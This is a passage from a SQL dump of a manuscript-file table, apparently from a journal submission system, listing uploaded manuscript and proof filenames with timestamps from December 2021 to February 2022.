12:29:56',1,3,1),(29909,11120,'11120-Manuscript-2021-12-08-1xig-graphic-completed.pdf',NULL,'2021-12-08 12:30:08',1,3,1),(29910,11115,'11115-Manuscript-2021-12-08-rqmz-graphic-completed.pdf',NULL,'2021-12-08 12:30:29',1,3,1),(29911,11092,'11092-Manuscript-2021-12-08-e1os-graphic-completed.pdf',NULL,'2021-12-08 12:30:40',1,3,1),(29912,11932,'11932-0-Manuscript-2021-12-08.pdf',NULL,'2021-12-08 14:09:57',1,1,0),(29913,11932,'11932-1-Manuscript-2021-12-08.doc',NULL,'2021-12-08 14:09:57',1,1,0),(29932,11859,'11859-1261-Manuscript-2021-12-09.docx',NULL,'2021-12-09 06:51:32',1,1,0),(29933,11541,'11541-181-Manuscript-proof-submission-2021-12-09.rar',NULL,'2021-12-09 07:00:29',1,3,0),(29942,11804,'11804-Manuscript-2021-12-09-gns9-ap-ame-revised.pdf',NULL,'2021-12-09 09:01:58',1,3,0),(29943,11801,'11801-Manuscript-2021-12-09-87ch-ap-ame-revised.pdf',NULL,'2021-12-09 09:02:31',1,3,0),(29944,11795,'11795-Manuscript-2021-12-09-2x57-ap-ame-revised.pdf',NULL,'2021-12-09 09:02:59',1,3,0),(29973,11949,'11949-0-Manuscript-2021-12-09.docx',NULL,'2021-12-09 13:03:15',1,1,0),(29976,11859,'11859-876-Manuscript-2021-12-10.docx',NULL,'2021-12-10 04:53:27',1,1,0),(29982,11951,'11951-0-Manuscript-2021-12-10.docx',NULL,'2021-12-10 05:39:55',1,1,0),(29985,11618,'11618-41-Manuscript-proof-submission-2021-12-10.docx',NULL,'2021-12-10 06:10:17',1,3,0),(29989,10265,'10265-Manuscript-2021-12-10-dpir.pdf',NULL,'2021-12-10 08:00:01',1,3,0),(29990,8239,'8239-Manuscript-2021-12-10-ach3-ap-ame-revised.pdf',NULL,'2021-12-10 08:13:51',1,3,0),(29991,9538,'9538-Manuscript-2021-12-10-8g0f-ap-ame-revised.pdf',NULL,'2021-12-10 08:15:12',1,3,0),(29992,8239,'8239-Manuscript-2021-12-10-35q6.pdf',NULL,'2021-12-10 08:17:40',1,3,0),(29993,9538,'9538-Manuscript-2021-12-10-0mwk.pdf',NULL,'2021-12-10 08:18:41',1,3,0),(30001,11739,'11739-1375-Manuscript-proof-submission-2021-12-10.rar',NULL,'2021-12-10 08:41:46',1,3,0),(30002,11739,'11739-1239-Manuscript-proof-submission-2021-12-10.rar',NULL,'2021-12-10 08:41:48',1,3,0),(30004,11739,'11739-Manuscript-2021-12-10-3rj6-iphsj-21-11739.rar',NULL,'2021-12-10 09:17:04',1,3,1),(30007,11541,'11541-Manuscript-2021-12-10-biz2-iphsj-21-11541.rar',NULL,'2021-12-10 10:06:53',1,3,1),(30008,11084,'11084-Manuscript-2021-12-10-rgpj-iphsj-21-11084.rar',NULL,'2021-12-10 10:07:56',1,3,1),(30009,11432,'11432-Manuscript-2021-12-10-hegj-iphsj-21-11432.rar',NULL,'2021-12-10 10:08:35',1,3,1),(30027,11958,'11958-0-Manuscript-2021-12-11.docx',NULL,'2021-12-11 16:40:44',1,1,0),(30028,11959,'11959-0-Manuscript-2021-12-12.docx',NULL,'2021-12-12 14:47:24',1,1,0),(30040,11962,'11962-0-Manuscript-2021-12-13.docx',NULL,'2021-12-12 21:09:08',1,1,0),(30041,11795,'11795-Manuscript-2021-12-13-89u0.pdf',NULL,'2021-12-13 04:07:11',1,3,0),(30042,11801,'11801-Manuscript-2021-12-13-2b91.pdf',NULL,'2021-12-13 04:07:38',1,3,0),(30043,11804,'11804-Manuscript-2021-12-13-2ewz.pdf',NULL,'2021-12-13 04:08:03',1,3,0),(30044,11963,'11963-0-Manuscript-2021-12-13.docx',NULL,'2021-12-13 04:15:24',1,1,0),(30046,11739,'11739-Manuscript-2021-12-13-dlm5-graphic-completed.pdf',NULL,'2021-12-13 05:57:30',1,3,1),(30054,11859,'11859-1313-Manuscript-2021-12-13.docx',NULL,'2021-12-13 06:32:05',1,1,0),(30061,11968,'11968-0-Manuscript-2021-12-13.docx',NULL,'2021-12-13 07:40:06',1,1,0),(30062,11969,'11969-0-Manuscript-2021-12-13.docx',NULL,'2021-12-13 07:43:02',1,1,0),(30096,11432,'11432-Manuscript-2021-12-13-w1k7-graphic-completed.pdf',NULL,'2021-12-13 12:10:15',1,3,1),(30107,11808,'11808-1748-Manuscript-proof-submission-2021-12-13.zip',NULL,'2021-12-13 12:16:12',1,3,0),(30108,11084,'11084-Manuscript-2021-12-13-xwv2-graphic-completed.pdf',NULL,'2021-12-13 12:18:48',1,3,1),(30117,11541,'11541-Manuscript-2021-12-13-uc81-graphic-completed.pdf',NULL,'2021-12-13 12:39:58',1,3,1),(30118,11980,'11980-0-Manuscript-2021-12-14.docx',NULL,'2021-12-14 03:27:13',1,1,0),(30125,11230,'11230-1386-Manuscript-proof-submission-2021-12-14.zip',NULL,'2021-12-14 05:20:55',1,3,0),(30129,11530,'11530-Manuscript-2021-12-14-72ln-iphspr-21-11530.docx',NULL,'2021-12-14 06:02:57',1,3,0),(30138,11984,'11984-0-Manuscript-2021-12-14.docx',NULL,'2021-12-14 06:58:53',1,1,0),(30139,11984,'11984-1-Manuscript-2021-12-14.docx',NULL,'2021-12-14 06:58:53',1,1,0),(30140,11984,'11984-2-Manuscript-2021-12-14.docx',NULL,'2021-12-14 06:58:53',1,1,0),(30141,11808,'11808-Manuscript-2021-12-14-dmib-ipaom-21-11808.rar',NULL,'2021-12-14 08:42:53',1,3,1),(30196,11786,'11786-1755-Manuscript-proof-submission-2021-12-15.zip',NULL,'2021-12-15 06:36:29',1,3,0),(30239,12008,'12008-0-Manuscript-2021-12-15.docx',NULL,'2021-12-15 11:39:30',1,1,0),(30247,11786,'11786-Manuscript-2021-12-15-phav-ipaom-21-11786.rar',NULL,'2021-12-15 12:56:14',1,3,1),(30248,12013,'12013-0-Manuscript-2021-12-15.doc',NULL,'2021-12-15 18:16:52',1,1,0),(30250,12015,'12015-0-Manuscript-2021-12-16.docx',NULL,'2021-12-15 19:50:37',1,1,0),(30257,11786,'11786-Manuscript-2021-12-16-5v2b-graphic-completed.pdf',NULL,'2021-12-16 04:52:23',1,3,0),(30258,11093,'11093-Manuscript-2021-12-16-i9ax-graphic-completed.pdf',NULL,'2021-12-16 05:11:23',1,3,0),(30265,10527,'10527-1195-Manuscript-proof-submission-2021-12-16.docx',NULL,'2021-12-16 06:25:46',1,3,1),(30266,10527,'10527-1757-Manuscript-proof-submission-2021-12-16.docx',NULL,'2021-12-16 06:25:46',1,3,0),(30267,10527,'10527-1271-Manuscript-proof-submission-2021-12-16.docx',NULL,'2021-12-16 06:25:46',1,3,0),(30268,10527,'10527-803-Manuscript-proof-submission-2021-12-16.docx',NULL,'2021-12-16 06:25:46',1,3,0),(30302,11093,'11093-Manuscript-2021-12-16-8wk4.pdf',NULL,'2021-12-16 12:07:13',1,3,0),(30303,11786,'11786-Manuscript-2021-12-16-iomu.pdf',NULL,'2021-12-16 12:13:03',1,3,0),(30311,12033,'11995-0-Manuscript-2021-12-15.docx','','2021-12-15 00:00:00',1,1,0),(30312,12034,'11967-0-Manuscript-2021-12-13.docx','','2021-12-13 00:00:00',1,1,0),(30314,11859,'11859-1887-Manuscript-proof-submission-2021-12-17.rar',NULL,'2021-12-17 04:24:31',1,3,0),(30315,11093,'11093-Manuscript-2021-12-17-azgj-ap-ame-q2-accepted-file.pdf',NULL,'2021-12-17 04:40:15',1,3,0),(30317,12036,'12036-0-Manuscript-2021-12-17.docx',NULL,'2021-12-17 05:11:29',1,1,0),(30370,10527,'10527-Manuscript-2021-12-17-vgdz-ipaclr-21-10527.zip',NULL,'2021-12-17 09:34:27',1,3,1),(30395,11859,'11859-Manuscript-2021-12-18-3vtm-iphsj-21-11859.rar',NULL,'2021-12-18 05:03:06',1,3,1),(30428,12075,'12075-0-Manuscript-2021-12-19.docx',NULL,'2021-12-19 01:36:24',1,1,0),(30429,12076,'12076-0-Manuscript-2021-12-20.docx',NULL,'2021-12-19 20:23:06',1,1,0),(30433,12080,'12080-0-Manuscript-2021-12-20.docx',NULL,'2021-12-20 04:21:54',1,1,0),(30438,11566,'11566-829-Manuscript-proof-submission-2021-12-20.docx',NULL,'2021-12-20 04:49:39',1,3,0),(30446,11808,'11808-Manuscript-2021-12-20-l93r-graphic-completed.pdf',NULL,'2021-12-20 05:33:16',1,3,0),(30455,11859,'11859-Manuscript-2021-12-20-netg-graphic-completed.pdf',NULL,'2021-12-20 06:05:34',1,3,1),(30463,12091,'12091-0-Manuscript-2021-12-20.docx',NULL,'2021-12-20 06:24:23',1,1,0),(30485,11808,'11808-Manuscript-2021-12-20-u52f.pdf',NULL,'2021-12-20 09:09:17',1,3,0),(30511,12103,'12103-0-Manuscript-2021-12-20.docx',NULL,'2021-12-20 14:12:04',1,1,0),(30512,12104,'12104-0-Manuscript-2021-12-20.docx',NULL,'2021-12-20 15:50:34',1,1,0),(30519,12108,'12108-0-Manuscript-2021-12-21.docx',NULL,'2021-12-21 04:41:13',1,1,0),(30521,10840,'10840-1920-Manuscript-proof-submission-2021-12-21.doc',NULL,'2021-12-21 04:51:50',1,3,0),(30523,10980,'10980-265-Manuscript-proof-submission-2021-12-21.doc',NULL,'2021-12-21 04:53:33',1,3,0),(30524,10980,'10980-1836-Manuscript-proof-submission-2021-12-21.doc',NULL,'2021-12-21 04:53:36',1,3,0),(30525,11546,'11546-1337-Manuscript-proof-submission-2021-12-21.pdf',NULL,'2021-12-21 04:54:12',1,3,0),(30526,11670,'11670-87-Manuscript-proof-submission-2021-12-21.docx',NULL,'2021-12-21 04:54:54',1,3,0),(30527,11670,'11670-1984-Manuscript-proof-submission-2021-12-21.docx',NULL,'2021-12-21 04:54:55',1,3,0),(30539,11808,'11808-Manuscript-2021-12-21-btp5-ap-ame-revised.pdf',NULL,'2021-12-21 07:01:04',1,3,0),(30544,11808,'11808-Manuscript-2021-12-21-dk5t.pdf',NULL,'2021-12-21 09:17:47',1,3,0),(30567,11852,'11852-188-Manuscript-proof-submission-2021-12-22.docx',NULL,'2021-12-22 05:54:43',1,3,0),(30600,12133,'12133-0-Manuscript-2021-12-22.docx',NULL,'2021-12-22 14:18:54',1,1,0),(30601,12133,'12133-1-Manuscript-2021-12-22.doc',NULL,'2021-12-22 14:18:54',1,1,0),(30602,12133,'12133-2-Manuscript-2021-12-22.doc',NULL,'2021-12-22 14:18:54',1,1,0),(30603,12133,'12133-3-Manuscript-2021-12-22.docx',NULL,'2021-12-22 14:18:54',1,1,0),(30606,11949,'11949-846-Manuscript-proof-submission-2021-12-23.zip',NULL,'2021-12-23 04:43:22',1,3,0),(30632,11670,'11670-565-Manuscript-proof-submission-2021-12-23.pdf',NULL,'2021-12-23 07:52:51',1,3,0),(30633,11670,'11670-1964-Manuscript-proof-submission-2021-12-23.docx',NULL,'2021-12-23 07:52:51',1,3,0),(30679,10241,'10241-1857-Manuscript-proof-submission-2021-12-24.docx',NULL,'2021-12-24 04:49:31',1,3,0),(30681,11481,'11481-1943-Manuscript-proof-submission-2021-12-24.docx',NULL,'2021-12-24 04:53:52',1,3,0),(30683,10527,'10527-Manuscript-2021-12-24-oc69-graphic-completed.pdf',NULL,'2021-12-24 05:07:06',1,3,0),(30684,11949,'11949-Manuscript-2021-12-24-tdqe-ipaom-21-11949.rar',NULL,'2021-12-24 05:22:12',1,3,0),(30685,11949,'11949-Manuscript-2021-12-24-nc31-ipaom-21-11949.rar',NULL,'2021-12-24 05:23:36',1,3,1),(30695,12157,'12157-0-Manuscript-2021-12-24.docx',NULL,'2021-12-24 07:13:31',1,1,0),(30704,11984,'11984-557-Manuscript-proof-submission-2021-12-24.rar',NULL,'2021-12-24 08:32:18',1,3,0),(30707,11855,'11855-487-Manuscript-proof-submission-2021-12-24.zip',NULL,'2021-12-24 08:48:45',1,3,0),(30711,11949,'11949-Manuscript-2021-12-24-thjz-graphic-completed.pdf',NULL,'2021-12-24 09:38:29',1,3,0),(30715,11984,'11984-Manuscript-2021-12-24-d82a-ipjnn-21-11984.rar',NULL,'2021-12-24 10:19:09',1,3,0),(30723,11949,'11949-Manuscript-2021-12-24-p7cj.pdf',NULL,'2021-12-24 11:56:11',1,3,0),(30724,12170,'12170-0-Manuscript-2021-12-24.docx',NULL,'2021-12-24 13:07:48',1,1,0),(30730,12177,'12177-0-Manuscript-2021-12-27.pdf',NULL,'2021-12-26 20:03:18',1,1,0),(30782,11619,'11619-1238-Manuscript-proof-submission-2021-12-27.docx',NULL,'2021-12-27 09:14:09',1,3,0),(30793,11949,'11949-Manuscript-2021-12-27-hj90-ap-ame-q2-accepted-file.pdf',NULL,'2021-12-27 11:33:57',1,3,1),(30796,11984,'11984-Manuscript-2021-12-27-na4m-graphic-completed.pdf',NULL,'2021-12-27 11:42:51',1,3,0),(30807,12190,'12190-0-Manuscript-2021-12-27.docx',NULL,'2021-12-27 15:41:22',1,1,0),(30808,12190,'12190-1-Manuscript-2021-12-27.docx',NULL,'2021-12-27 15:41:22',1,1,0),(30809,12190,'12190-2-Manuscript-2021-12-27.docx',NULL,'2021-12-27 15:41:22',1,1,0),(30817,11984,'11984-Manuscript-2021-12-28-j56z.pdf',NULL,'2021-12-28 05:14:59',1,3,0),(30837,11546,'11546-Manuscript-2021-12-28-d5e9-move-pdf-making.docx',NULL,'2021-12-28 05:53:50',1,3,0),(30840,11546,'11546-Manuscript-2021-12-28-d365-move-pdf-making.docx',NULL,'2021-12-28 05:56:21',1,3,0),(30892,11693,'11693-1509-Manuscript-proof-submission-2021-12-28.rar',NULL,'2021-12-28 11:27:40',1,3,0),(30898,11610,'11610-1094-Manuscript-proof-submission-2021-12-28.pdf',NULL,'2021-12-28 12:22:31',1,3,0),(30907,11855,'11855-1021-Manuscript-2021-12-28.docx',NULL,'2021-12-28 14:02:11',1,1,0),(30908,12198,'12198-0-Manuscript-2021-12-29.docx',NULL,'2021-12-29 02:11:10',1,1,0),(30909,12199,'12199-0-Manuscript-2021-12-29.docx',NULL,'2021-12-29 02:23:09',1,1,0),(30910,12200,'12200-0-Manuscript-2021-12-29.docx',NULL,'2021-12-29 04:08:35',1,1,0),(30915,11744,'11744-486-Manuscript-proof-submission-2021-12-29.rar',NULL,'2021-12-29 05:07:49',1,3,0),(30919,11403,'11403-1594-Manuscript-proof-submission-2021-12-29.docx',NULL,'2021-12-29 05:28:13',1,3,0),(30920,11403,'11403-1957-Manuscript-proof-submission-2021-12-29.docx',NULL,'2021-12-29 05:28:13',1,3,0),(30921,11403,'11403-1802-Manuscript-proof-submission-2021-12-29.docx',NULL,'2021-12-29 05:28:13',1,3,0),(30922,11403,'11403-1185-Manuscript-proof-submission-2021-12-29.docx',NULL,'2021-12-29 05:28:13',1,3,0),(30947,11403,'11403-Manuscript-2021-12-29-tcfn-ipaclr-21-11403.zip',NULL,'2021-12-29 08:36:06',1,3,0),(30956,11684,'11684-1837-Manuscript-proof-submission-2021-12-29.rar',NULL,'2021-12-29 09:47:00',1,3,0),(30960,12170,'12170-1890-Manuscript-2021-12-29.docx',NULL,'2021-12-29 09:51:01',1,1,0),(30983,12205,'12205-0-Manuscript-2021-12-29.docx',NULL,'2021-12-29 14:00:24',1,1,0),(31000,12211,'12211-0-Manuscript-2021-12-30.pdf',NULL,'2021-12-30 08:22:09',1,1,0),(31001,12211,'12211-1-Manuscript-2021-12-30.pdf',NULL,'2021-12-30 08:22:09',1,1,0),(31002,11546,'11546-Manuscript-2021-12-30-hivy.docx',NULL,'2021-12-30 08:52:34',1,3,0),(31003,11546,'11546-Manuscript-2021-12-30-k26g.pdf',NULL,'2021-12-30 08:53:44',1,3,0),(31042,12224,'12224-0-Manuscript-2021-12-31.docx',NULL,'2021-12-31 04:43:13',1,1,0),(31043,12224,'12224-1-Manuscript-2021-12-31.docx',NULL,'2021-12-31 04:43:13',1,1,0),(31061,11443,'11443-1588-Manuscript-proof-submission-2021-12-31.docx',NULL,'2021-12-31 05:39:35',1,3,0),(31062,11443,'11443-1264-Manuscript-proof-submission-2021-12-31.docx',NULL,'2021-12-31 05:39:35',1,3,0),(31063,11443,'11443-9-Manuscript-proof-submission-2021-12-31.docx',NULL,'2021-12-31 05:39:35',1,3,0),(31064,11443,'11443-1536-Manuscript-proof-submission-2021-12-31.docx',NULL,'2021-12-31 05:39:35',1,3,0),(31065,11855,'11855-Manuscript-2021-12-31-7spd-ipaom-21-11855.rar',NULL,'2021-12-31 05:46:29',1,3,1),(31066,11443,'11443-Manuscript-2021-12-31-3748-ipaclr-21-11443.zip',NULL,'2021-12-31 06:05:01',1,3,0),(31068,10527,'10527-Manuscript-2021-12-31-y0ob.pdf',NULL,'2021-12-31 06:10:03',1,3,1),(31074,12008,'12008-1688-Manuscript-proof-submission-2021-12-31.docx',NULL,'2021-12-31 08:00:24',1,3,0),(31076,12229,'12229-0-Manuscript-2021-12-31.docx',NULL,'2021-12-31 08:13:07',1,1,0),(31087,12036,'12036-1952-Manuscript-proof-submission-2021-12-31.rar',NULL,'2021-12-31 09:29:26',1,3,0),(31106,11684,'11684-Manuscript-2022-01-01-bme7-iphsj-21-11684.rar',NULL,'2022-01-01 07:11:25',1,3,0),(31107,11693,'11693-Manuscript-2022-01-01-l5ox-iphsj-21-11693.rar',NULL,'2022-01-01 07:12:05',1,3,0),(31108,11744,'11744-Manuscript-2022-01-01-u7so-iphsj-21-11744.rar',NULL,'2022-01-01 07:12:48',1,3,0),(31109,12036,'12036-Manuscript-2022-01-01-z8s6-iphsj-21-12036.docx',NULL,'2022-01-01 07:13:27',1,3,0),(31123,12242,'12242-0-Manuscript-2022-01-02.docx',NULL,'2022-01-02 16:22:12',1,1,0),(31136,12080,'12080-293-Manuscript-proof-submission-2022-01-03.docx',NULL,'2022-01-03 06:26:38',1,3,0),(31167,11855,'11855-Manuscript-2022-01-04-hxi3-graphic-completed.pdf',NULL,'2022-01-04 05:33:30',1,3,0),(31170,11855,'11855-Manuscript-2022-01-04-coh6.pdf',NULL,'2022-01-04 06:08:13',1,3,1),(31178,12267,'12267-0-Manuscript-2022-01-05.docx',NULL,'2022-01-04 19:35:05',1,1,0),(31179,12267,'12267-1-Manuscript-2022-01-05.docx',NULL,'2022-01-04 19:35:05',1,1,0),(31180,12267,'12267-2-Manuscript-2022-01-05.docx',NULL,'2022-01-04 19:35:05',1,1,0),(31181,12267,'12267-3-Manuscript-2022-01-05.docx',NULL,'2022-01-04 19:35:05',1,1,0),(31186,12271,'12271-0-Manuscript-2022-01-05.docx',NULL,'2022-01-05 03:22:19',1,1,0),(31187,12272,'12272-0-Manuscript-2022-01-05.docx',NULL,'2022-01-05 03:43:16',1,1,0),(31188,12273,'12273-0-Manuscript-2022-01-05.docx',NULL,'2022-01-05 04:06:26',1,1,0),(31189,12274,'12274-0-Manuscript-2022-01-05.docx',NULL,'2022-01-05 05:17:00',1,1,0),(31205,12278,'12278-0-Manuscript-2022-01-05.docx',NULL,'2022-01-05 12:32:38',1,1,0),(31206,12279,'12279-0-Manuscript-2022-01-06.docx',NULL,'2022-01-05 18:50:11',1,1,0),(31207,12279,'12279-1-Manuscript-2022-01-06.docx',NULL,'2022-01-05 18:50:11',1,1,0),(31208,12279,'12279-2-Manuscript-2022-01-06.doc',NULL,'2022-01-05 18:50:11',1,1,0),(31210,12281,'12281-0-Manuscript-2022-01-06.docx',NULL,'2022-01-06 06:31:19',1,1,0),(31217,12284,'12284-0-Manuscript-2022-01-07.docx',NULL,'2022-01-07 07:15:08',1,1,0),(31218,11403,'11403-Manuscript-2022-01-07-i94m-graphic-completed.pdf',NULL,'2022-01-07 08:03:35',1,3,0),(31220,11443,'11443-Manuscript-2022-01-07-3w8l-graphic-completed.pdf',NULL,'2022-01-07 09:00:45',1,3,0),(31221,11443,'11443-Manuscript-2022-01-07-3567.pdf',NULL,'2022-01-07 09:25:31',1,3,0),(31222,11403,'11403-Manuscript-2022-01-07-rzge.pdf',NULL,'2022-01-07 09:26:15',1,3,0),(31225,12286,'12286-0-Manuscript-2022-01-08.docx',NULL,'2022-01-08 10:51:06',1,1,0),(31226,12286,'12286-1-Manuscript-2022-01-08.doc',NULL,'2022-01-08 10:51:06',1,1,0),(31227,12287,'12287-0-Manuscript-2022-01-09.docx',NULL,'2022-01-09 06:26:35',1,1,0),(31230,12289,'12289-0-Manuscript-2022-01-10.docx',NULL,'2022-01-09 21:06:31',1,1,0),(31239,12295,'12295-0-Manuscript-2022-01-10.docx',NULL,'2022-01-10 11:45:26',1,1,0),(31266,12307,'12307-0-Manuscript-2022-01-12.docx',NULL,'2022-01-12 10:59:35',1,1,0),(31273,12313,'12313-0-Manuscript-2022-01-13.docx',NULL,'2022-01-13 06:04:44',1,1,0),(31283,12316,'12316-0-Manuscript-2022-01-13.docx',NULL,'2022-01-13 14:24:37',1,1,0),(31293,12324,'12324-0-Manuscript-2022-01-15.pdf',NULL,'2022-01-15 17:10:49',1,1,0),(31296,12327,'12327-0-Manuscript-2022-01-16.docx',NULL,'2022-01-16 09:59:53',1,1,0),(31297,12328,'12328-0-Manuscript-2022-01-16.doc',NULL,'2022-01-16 14:45:01',1,1,1),(31298,12328,'12328-1-Manuscript-2022-01-16.jpg',NULL,'2022-01-16 14:45:01',1,1,0),(31299,12328,'12328-2-Manuscript-2022-01-16.jpg',NULL,'2022-01-16 14:45:01',1,1,0),(31300,12328,'12328-3-Manuscript-2022-01-16.jpg',NULL,'2022-01-16 14:45:01',1,1,0),(31301,12329,'12329-0-Manuscript-2022-01-16.docx',NULL,'2022-01-16 15:52:25',1,1,0),(31314,12339,'12339-0-Manuscript-2022-01-18.docx',NULL,'2022-01-18 09:30:24',1,1,0),(31315,12339,'12339-1-Manuscript-2022-01-18.docx',NULL,'2022-01-18 09:30:24',1,1,0),(31316,12339,'12339-2-Manuscript-2022-01-18.docx',NULL,'2022-01-18 09:30:24',1,1,0),(31318,12341,'12341-0-Manuscript-2022-01-19.docx',NULL,'2022-01-18 19:01:14',1,1,0),(31326,12347,'12347-0-Manuscript-2022-01-19.docx',NULL,'2022-01-19 17:34:23',1,1,0),(31327,12348,'12348-0-Manuscript-2022-01-20.docx',NULL,'2022-01-19 18:45:39',1,1,0),(31346,12363,'12363-0-Manuscript-2022-01-21.docx',NULL,'2022-01-20 20:17:37',1,1,0),(31354,12370,'12370-0-Manuscript-2022-01-22.pdf',NULL,'2022-01-22 07:04:29',1,1,0),(31386,12386,'12386-0-Manuscript-2022-01-24.docx',NULL,'2022-01-24 15:47:22',1,1,0),(31391,11453,'11453-Manuscript-2022-01-25-tyj2-graphic-completed.pdf',NULL,'2022-01-25 04:02:06',1,3,1),(31420,12392,'12392-0-Manuscript-2022-01-25.docx',NULL,'2022-01-25 12:50:06',1,1,0),(31421,11744,'11744-Manuscript-2022-01-25-l03r-graphic-completed.pdf',NULL,'2022-01-25 12:56:51',1,3,0),(31430,12394,'12394-0-Manuscript-2022-01-26.docx',NULL,'2022-01-26 18:28:44',1,1,0),(31439,11684,'11684-Manuscript-2022-01-27-xt13-graphic-completed.pdf',NULL,'2022-01-27 06:50:06',1,3,0),(31440,11693,'11693-Manuscript-2022-01-27-v9za-graphic-completed.pdf',NULL,'2022-01-27 06:50:25',1,3,0),(31477,12397,'12397-0-Manuscript-2022-01-27.docx',NULL,'2022-01-27 16:24:12',1,1,0),(31478,12398,'12398-0-Manuscript-2022-01-28.docx',NULL,'2022-01-27 19:00:16',1,1,0),(31490,12198,'12198-514-Manuscript-proof-submission-2022-01-28.zip',NULL,'2022-01-28 05:57:38',1,3,0),(31496,12211,'12211-428-Manuscript-proof-submission-2022-01-28.zip',NULL,'2022-01-28 08:48:00',1,3,0),(31498,12198,'12198-Manuscript-2022-01-28-4awc-ipaom-21-12198.rar',NULL,'2022-01-28 12:15:27',1,3,0),(31505,12403,'12403-0-Manuscript-2022-01-29.docx',NULL,'2022-01-28 19:27:27',1,1,0),(31506,12403,'12403-1-Manuscript-2022-01-29.doc',NULL,'2022-01-28 19:27:27',1,1,0),(31507,12403,'12403-2-Manuscript-2022-01-29.docx',NULL,'2022-01-28 19:27:27',1,1,0),(31509,12405,'12405-0-Manuscript-2022-01-29.doc',NULL,'2022-01-29 06:18:26',1,1,0),(31511,12407,'12407-0-Manuscript-2022-01-30.docx',NULL,'2022-01-30 11:19:48',1,1,0),(31522,12211,'12211-Manuscript-2022-01-31-clt8-ipaom-22-12211.rar',NULL,'2022-01-31 04:26:36',1,3,1),(31525,12198,'12198-Manuscript-2022-01-31-u6nd-graphic-completed.pdf',NULL,'2022-01-31 06:13:08',1,3,0),(31526,12205,'12205-1613-Manuscript-proof-submission-2022-01-31.rar',NULL,'2022-01-31 09:17:50',1,3,0),(31531,12229,'12229-1350-Manuscript-proof-submission-2022-01-31.rar',NULL,'2022-01-31 12:43:28',1,3,0),(31532,12229,'12229-1048-Manuscript-proof-submission-2022-01-31.rar',NULL,'2022-01-31 12:43:31',1,3,0),(31537,12198,'12198-Manuscript-2022-02-01-9vwt.pdf',NULL,'2022-02-01 06:31:17',1,3,0),(31538,12211,'12211-Manuscript-2022-02-01-gp0n-graphic-completed.pdf',NULL,'2022-02-01 06:49:40',1,3,0),(31539,12198,'12198-Manuscript-2022-02-01-q4nl-ap-ame-revised.pdf',NULL,'2022-02-01 08:06:18',1,3,0),(31540,12198,'12198-Manuscript-2022-02-01-nlpi.pdf',NULL,'2022-02-01 08:55:35',1,3,1),(31543,12211,'12211-Manuscript-2022-02-01-pcud.pdf',NULL,'2022-02-01 10:26:32',1,3,0),(31544,12419,'12419-0-Manuscript-2022-02-01.docx',NULL,'2022-02-01 11:25:53',1,1,0),(31545,12347,'12347-462-Manuscript-proof-submission-2022-02-01.rar',NULL,'2022-02-01 11:43:50',1,3,0),(31548,12422,'12422-0-Manuscript-2022-02-01.docx',NULL,'2022-02-01 12:27:17',1,1,0),(31552,12424,'12424-0-Manuscript-2022-02-02.docx',NULL,'2022-02-02 04:20:28',1,1,0),(31556,12211,'12211-Manuscript-2022-02-02-no0g-ap-ame-revised.pdf',NULL,'2022-02-02 05:45:50',1,3,0),(31563,12211,'12211-Manuscript-2022-02-02-e962.pdf',NULL,'2022-02-02 11:21:39',1,3,1),(31565,12429,'12429-0-Manuscript-2022-02-03.docx',NULL,'2022-02-02 20:56:36',1,1,0),(31570,12434,'12434-0-Manuscript-2022-02-03.docx',NULL,'2022-02-03 11:21:45',1,1,0),(31572,12436,'12436-0-Manuscript-2022-02-03.docx',NULL,'2022-02-03 12:50:55',1,1,0),(31576,11193,'11193-1341-Manuscript-proof-submission-2022-02-04.zip',NULL,'2022-02-04 04:53:02',1,3,0),(31583,12103,'12103-513-Manuscript-proof-submission-2022-02-04.zip',NULL,'2022-02-04 08:34:16',1,3,0),(31585,11193,'11193-1674-Manuscript-proof-submission-2022-02-04.zip',NULL,'2022-02-04 08:34:48',1,3,0),(31607,12278,'12278-1712-Manuscript-proof-submission-2022-02-04.zip',NULL,'2022-02-04 12:29:49',1,3,0),(31613,12452,'12452-0-Manuscript-2022-02-05.docx',NULL,'2022-02-04 21:27:21',1,1,0),(31614,12454,'12454-0-Manuscript-2022-02-05.docx',NULL,'2022-02-05 04:02:51',1,1,0),(31618,12457,'12457-0-Manuscript-2022-02-05.doc',NULL,'2022-02-05 12:32:02',1,1,0),(31629,12464,'12464-0-Manuscript-2022-02-07.docx',NULL,'2022-02-07 04:08:47',1,1,0),(31668,12491,'12491-0-Manuscript-2022-02-09.docx',NULL,'2022-02-09 09:10:36',1,1,0),(31670,12493,'12493-0-Manuscript-2022-02-09.docx',NULL,'2022-02-09 17:17:43',1,1,0),(31671,12494,'12494-0-Manuscript-2022-02-09.docx',NULL,'2022-02-09 18:22:46',1,1,0),(31674,12497,'12497-0-Manuscript-2022-02-10.docx',NULL,'2022-02-10 04:44:52',1,1,0),(31676,12499,'12499-0-Manuscript-2022-02-10.docx',NULL,'2022-02-10 05:35:16',1,1,0),(31677,12500,'12500-0-Manuscript-2022-02-10.docx',NULL,'2022-02-10 05:36:40',1,1,0),(31678,12501,'12501-0-Manuscript-2022-02-10.docx',NULL,'2022-02-10 05:38:20',1,1,0),(31679,12502,'12502-0-Manuscript-2022-02-10.docx',NULL,'2022-02-10 05:39:34',1,1,0),(31680,12503,'12503-0-Manuscript-2022-02-10.docx',NULL,'2022-02-10 05:41:40',1,1,0),(31683,12307,'12307-745-Manuscript-proof-submission-2022-02-10.rar',NULL,'2022-02-10 08:41:21',1,3,0),(31684,12506,'12506-0-Manuscript-2022-02-10.docx',NULL,'2022-02-10 11:09:23',1,1,0),(31691,12205,'12205-Manuscript-2022-02-11-rgli-iphsj-21-12205.rar',NULL,'2022-02-11 09:01:29',1,3,0),(31692,12347,'12347-Manuscript-2022-02-11-c1b9-iphsj-22-12347.rar',NULL,'2022-02-11 09:02:34',1,3,0),(31693,12229,'12229-Manuscript-2022-02-11-vp4f-iphsj-22-12229.rar',NULL,'2022-02-11 09:08:00',1,3,0),(31694,12347,'12347-Manuscript-2022-02-11-c0s1-iphsj-22-12347.rar',NULL,'2022-02-11 09:08:57',1,3,0),(31696,12419,'12419-1201-Manuscript-proof-submission-2022-02-11.docx',NULL,'2022-02-11 10:05:26',1,3,0),(31697,12424,'12424-47-Manuscript-proof-submission-2022-02-11.docx',NULL,'2022-02-11 10:08:48',1,3,0),(31698,12422,'12422-12-Manuscript-proof-submission-2022-02-11.docx',NULL,'2022-02-11 10:09:58',1,3,0),(31712,12518,'12518-0-Manuscript-2022-02-14.docx',NULL,'2022-02-13 21:17:22',1,1,0),(31713,12518,'12518-1-Manuscript-2022-02-14.docx',NULL,'2022-02-13 